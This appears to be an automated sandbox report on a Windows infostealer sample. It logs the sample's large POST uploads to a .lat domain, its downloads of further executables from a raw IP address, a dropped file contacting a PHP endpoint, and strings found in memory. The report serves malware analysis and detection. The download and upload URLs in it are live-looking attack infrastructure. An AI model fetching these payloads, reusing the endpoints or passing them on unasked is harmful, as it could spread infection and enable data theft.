Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9WY8TMIYMD3MHSS35User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19957Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YKQL68E2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1190Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YL9BDK9YMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552529Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/A
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001725000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeowO
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exea
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/v
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeer
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeta
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000001009000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: 58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ineer
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: MFQbv2Yuzv.exe, 00000000.00000003.2290814072.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313159422.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313339399.00000000016ED000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290947914.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291319128.00000000016ED000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313274376.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2266121808.0000000001758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MFQbv2Yuzv.exe, 00000000.00000003.2375345020.0000000001731000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290580658.0000000001730000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291076386.0000000001734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/A
Source: MFQbv2Yuzv.exe, 00000000.00000003.2329764327.0000000001734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/L
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/NA
Source: MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291019011.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287047220.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290729082.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2286869313.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/Wg
Source: MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiM
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apij
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apim
Source: MFQbv2Yuzv.exe, 00000000.00000003.2330064339.000000000175C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiw
Source: MFQbv2Yuzv.exe, 00000000.00000003.2263730202.000000000175B000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2266121808.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263959319.000000000175C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiz
Source: MFQbv2Yuzv.exe, 00000000.00000003.2263730202.000000000175B000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2266121808.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263959319.000000000175C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/c
Source: MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291019011.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287047220.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290729082.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2286869313.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/gU
Source: MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/j8
Source: MFQbv2Yuzv.exe, 00000000.00000003.2329764327.0000000001734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/p
Source: MFQbv2Yuzv.exe, 00000000.00000003.2312975468.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apiLocal
Source: MFQbv2Yuzv.exe, 00000000.00000003.2266121808.0000000001758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265593224.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265593224.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49757 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: MFQbv2Yuzv.exe	Static PE information: section name:
Source: MFQbv2Yuzv.exe	Static PE information: section name: .idata
Source: MFQbv2Yuzv.exe	Static PE information: section name:
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name:
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: .idata
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name:
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name:
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_05E72BCC		0_3_05E72BCC
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_05E72C90		0_3_05E72C90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe 15EE29E0C43B3388D79D2202698A751AA77F6226F0F5249D118E6522115A2A18
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe B2759942F6A68E744EE51FB4518490BBD4499FBDA2E2F84DA4881781655CBDE9

Source: MFQbv2Yuzv.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: MFQbv2Yuzv.exe	Static PE information: Section: ZLIB complexity 0.9974114404965754
Source: MFQbv2Yuzv.exe	Static PE information: Section: vqnwpprk ZLIB complexity 0.9947205816965666
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: Section: aviwlvzz ZLIB complexity 0.9948156627643504

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@2/3

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

File created: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MFQbv2Yuzv.exe, 00000000.00000003.2240712917.0000000005E92000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217811720.0000000005E7F000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2240607216.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217310268.0000000005E99000.00000004.00000800.00020000.00000000.sdmp

